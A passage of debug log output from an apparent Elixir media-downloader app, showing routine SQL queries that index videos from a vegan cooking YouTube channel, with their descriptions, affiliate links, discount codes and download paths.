PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas", 1, nil, false, "t9Oo8ezOvyI", "https://www.youtube.com/watch?v=t9Oo8ezOvyI", "/downloads/downloads/alec/Steamy Vegan/2025-06-11 2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas/2 High Protein Overnight Oats! 💪🏼🥣 Healthy breakfast ideas [t9Oo8ezOvyI].NA", false, ~U[2025-06-11 00:00:00Z]] 20:31:06.744 [debug] QUERY OK source="sources" db=0.7ms queue=0.8ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.746 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-07 00:00:00Z], 1] 20:31:06.748 [debug] QUERY OK source="media_items" db=1.7ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day episode, I'll share some of my favourite high-protein summer vegan recipes with you. These easy vegan recipes all take under 20 minutes to make and they're all great for the summer season! \n\nCheck out the Lite Foot Massager from Bob and Brad! 🦶🏼 \u202A@BobandBrad\u202C \n🇺🇸 US: https://amzn.to/4isbQyf\n10% OFF Code: BOBNBRADFOOT\n\n🇨🇦 Canada: https://amzn.to/445d7ao\n10% OFF Code: BOBNBRADCA\n\nOther products featured in this video 👇🏻\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\n💪🏼 Sunwarrior Plant-based Protein Powder: Save 15% off your first order\nCode: JANELLEC\nLink 🔗 https://sunwarrior.com/pages/ambassad...\n\n\nRECIPES FEATURED IN THIS VIDEO 🍜\n20 Minute Tofu Noodle Bowl\nBlog: https://steamyvegan.com/tofu-noodle-b...\nVideo: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n\nTofu Egg Salad\nBlog post: coming soon!\nVideo: \u00A0\u00A0\u00A0•\u00A0The\u00A0Perfect\u00A0Vegan\u00A0Tofu\u00A0Egg\u00A0Salad\u00A0#shorts\u00A0\u00A0\n\nBE MY FRIEND ELSEWHERE! 💚\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I really REALLY love using 💚... like, really.\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer", "aad64fcb-1a3f-453b-a245-f95054896ec3", 1, [], false, "ZsdcRs-_Oe0", "https://www.youtube.com/watch?v=ZsdcRs-_Oe0", 84, "/downloads/downloads/alec/Steamy Vegan/2025-06-07 What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer/What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer [ZsdcRs-_Oe0].NA", false, false, false, 1, ~U[2025-06-07 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day episode, I'll share some of my favourite high-protein summer vegan recipes with you. These easy vegan recipes all take under 20 minutes to make and they're all great for the summer season! \n\nCheck out the Lite Foot Massager from Bob and Brad! 🦶🏼 \u202A@BobandBrad\u202C \n🇺🇸 US: https://amzn.to/4isbQyf\n10% OFF Code: BOBNBRADFOOT\n\n🇨🇦 Canada: https://amzn.to/445d7ao\n10% OFF Code: BOBNBRADCA\n\nOther products featured in this video 👇🏻\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\n💪🏼 Sunwarrior Plant-based Protein Powder: Save 15% off your first order\nCode: JANELLEC\nLink 🔗 https://sunwarrior.com/pages/ambassad...\n\n\nRECIPES FEATURED IN THIS VIDEO 🍜\n20 Minute Tofu Noodle Bowl\nBlog: https://steamyvegan.com/tofu-noodle-b...\nVideo: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n\nTofu Egg Salad\nBlog post: coming soon!\nVideo: \u00A0\u00A0\u00A0•\u00A0The\u00A0Perfect\u00A0Vegan\u00A0Tofu\u00A0Egg\u00A0Salad\u00A0#shorts\u00A0\u00A0\n\nBE MY FRIEND ELSEWHERE! 💚\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I really REALLY love using 💚... like, really.\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer", 1, nil, false, "ZsdcRs-_Oe0", "https://www.youtube.com/watch?v=ZsdcRs-_Oe0", "/downloads/downloads/alec/Steamy Vegan/2025-06-07 What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer/What I Eat in a Day! Under 20 Minutes Easy Vegan Recipes for Summer [ZsdcRs-_Oe0].NA", false, ~U[2025-06-07 00:00:00Z]] 20:31:06.750 [debug] QUERY OK source="sources" db=1.0ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.752 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-04 00:00:00Z], 1] 20:31:06.754 [debug] QUERY OK source="media_items" db=1.7ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan steak transcends what is possible in the plant-based meat universe and is simply 'the greatest piece of meat' since my husband Brad. Find out what I really think about this Juicy Marbles plant based steak in this 12-minute mind bending steak odyssey into the unknown abyss of plant-based wizardy. Will this one day replace meat eaters' beloved steak? Will this meaty muscle feed a family of minotaurs? We'll find out!\n\n🥩AFFILATE LINK: https://fas.st/t/6QsyhpJZ\nYou scratch my back and I'll scratch yours with hopefully more wild reviews like this when I can afford them, thanks to you using this affiliate link! This is how I afford to feed the beast that is 'The Brad', AKA, my burly husband.\n\nCheck out a few other reviews like this below:\nVegan Trader Joe's Products: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0Taste\u00A0Test\u00A0🎄\u00A0New\u00A0HOLIDA...\u00A0\u00A0\nI tried recipes from Pamela Anderson's Cookbook: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nBE MY FRIEND ELSEWHERE! 💚\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I really REALLY love using 💚... like, really.\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST", "c971641b-f86c-4923-bbb7-18b51ec3afae", 1, [], false, "ed0q5FtfZPk", "https://www.youtube.com/watch?v=ed0q5FtfZPk", 85, "/downloads/downloads/alec/Steamy Vegan/2025-06-04 This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST/This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST [ed0q5FtfZPk].NA", false, false, false, 1, ~U[2025-06-04 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This vegan steak transcends what is possible in the plant-based meat universe and is simply 'the greatest piece of meat' since my husband Brad. Find out what I really think about this Juicy Marbles plant based steak in this 12-minute mind bending steak odyssey into the unknown abyss of plant-based wizardy. Will this one day replace meat eaters' beloved steak? Will this meaty muscle feed a family of minotaurs? We'll find out!\n\n🥩AFFILATE LINK: https://fas.st/t/6QsyhpJZ\nYou scratch my back and I'll scratch yours with hopefully more wild reviews like this when I can afford them, thanks to you using this affiliate link! This is how I afford to feed the beast that is 'The Brad', AKA, my burly husband.\n\nCheck out a few other reviews like this below:\nVegan Trader Joe's Products: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0Taste\u00A0Test\u00A0🎄\u00A0New\u00A0HOLIDA...\u00A0\u00A0\nI tried recipes from Pamela Anderson's Cookbook: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tried\u00A0Vegan\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson...\u00A0\u00A0\n\nBE MY FRIEND ELSEWHERE! 💚\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I really REALLY love using 💚... like, really.\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST", 1, nil, false, "ed0q5FtfZPk", "https://www.youtube.com/watch?v=ed0q5FtfZPk", "/downloads/downloads/alec/Steamy Vegan/2025-06-04 This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST/This is the world's BEST vegan steak?! 🥩🤯 Juicy Marbles plant based steak TASTE TEST [ed0q5FtfZPk].NA", false, ~U[2025-06-04 00:00:00Z]] 20:31:06.755 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.758 [debug] QUERY OK source="media_items" db=2.1ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-28 00:00:00Z], 1] 20:31:06.761 [debug] QUERY OK source="media_items" db=1.8ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 3 juice recipes are super easy plant-based recipes that are perfect for weight loss, hydration, immunity and digestion. These healthy recipes are perfect for Spring and Summer and are a great choice to add into your weekly meal prep as you can make big batches and have them last for days!\n\nRecipes on my blog here: https://steamyvegan.com/3-feel-good-j...\n\n🍏 \u202A@HuromAmerica\u202C H70 Juicer: Save 10% off a juicer! Code: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nWant more plant-based and healthy recipes? Check out these recent ones:\nLemon Chia Pudding: \u00A0\u00A0\u00A0•\u00A0Lemon\u00A0Chia\u00A0Pudding!\u00A0🍋🫐\u00A0My\u00A0latest\u00A0healthy\u00A0v...\u00A0\u00A0\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nLemon Poppyseed Protein Muffins: \u00A0\u00A0\u00A0•\u00A0PROTEIN\u00A0MUFFINS\u00A0|\u00A02\u00A0Easy\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice)", "0593504e-9789-4a40-b12a-2bce6cb761c8", 1, [], false, "1w79R_6MKSU", "https://www.youtube.com/watch?v=1w79R_6MKSU", 86, "/downloads/downloads/alec/Steamy Vegan/2025-05-28 3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice)/3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice) [1w79R_6MKSU].NA", false, false, false, 1, ~U[2025-05-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These 3 juice recipes are super easy plant-based recipes that are perfect for weight loss, hydration, immunity and digestion. These healthy recipes are perfect for Spring and Summer and are a great choice to add into your weekly meal prep as you can make big batches and have them last for days!\n\nRecipes on my blog here: https://steamyvegan.com/3-feel-good-j...\n\n🍏 \u202A@HuromAmerica\u202C H70 Juicer: Save 10% off a juicer! Code: STEAMY10\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nWant more plant-based and healthy recipes? Check out these recent ones:\nLemon Chia Pudding: \u00A0\u00A0\u00A0•\u00A0Lemon\u00A0Chia\u00A0Pudding!\u00A0🍋🫐\u00A0My\u00A0latest\u00A0healthy\u00A0v...\u00A0\u00A0\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nLemon Poppyseed Protein Muffins: \u00A0\u00A0\u00A0•\u00A0PROTEIN\u00A0MUFFINS\u00A0|\u00A02\u00A0Easy\u00A0Vegan\u00A0and\u00A0Gluten\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice)", 1, nil, false, "1w79R_6MKSU", "https://www.youtube.com/watch?v=1w79R_6MKSU", "/downloads/downloads/alec/Steamy Vegan/2025-05-28 3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice)/3 Healthy Beginner Juice Recipes (Carrot Apple Ginger Juice, Beet Juice and Tropical Kale Juice) [1w79R_6MKSU].NA", false, ~U[2025-05-28 00:00:00Z]] 20:31:06.761 [debug] QUERY OK source="sources" db=0.3ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.764 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 00:00:00Z], 1] 20:31:06.766 [debug] QUERY OK source="media_items" db=1.8ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day episode, I'll show you some realistic vegan recipes that I eat on the regular to hit my protein and calorie goals for the day. I'll also show you the intense cardio workout I've been completing for weight loss and muscle gain while eating a high-protein vegan diet. \n\nCheck out the Yesoul G1M Max bike below and use my code to save $100 on your purchase:\n https://yesoulfitnesslimited.sjv.io/P...\nCode: SteamyV\n\nCheck out these episodes for more recipe inspo:\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nTVP Burger Recipe: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Healthy\u00A0Vegan\u00A0Recipes...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱", "44984ab4-ea16-459e-a14e-63f4317705a6", 1, [], false, "IcLznXn4_ac", "https://www.youtube.com/watch?v=IcLznXn4_ac", 87, "/downloads/downloads/alec/Steamy Vegan/2025-05-24 What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱/What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱 [IcLznXn4_ac].NA", false, false, false, 1, ~U[2025-05-24 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day episode, I'll show you some realistic vegan recipes that I eat on the regular to hit my protein and calorie goals for the day. I'll also show you the intense cardio workout I've been completing for weight loss and muscle gain while eating a high-protein vegan diet. \n\nCheck out the Yesoul G1M Max bike below and use my code to save $100 on your purchase:\n https://yesoulfitnesslimited.sjv.io/P...\nCode: SteamyV\n\nCheck out these episodes for more recipe inspo:\nTofu Tikka Masala + 2 other 5 ingredient recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\nTVP Burger Recipe: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0Healthy\u00A0Vegan\u00A0Recipes...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\n\n🍏 Hurom H70 Juicer: Save 10% off a juicer! Code 'STEAMY10'\nShop their website: https://huromamerica.sjv.io/JKooRE\nShop on Amazon: 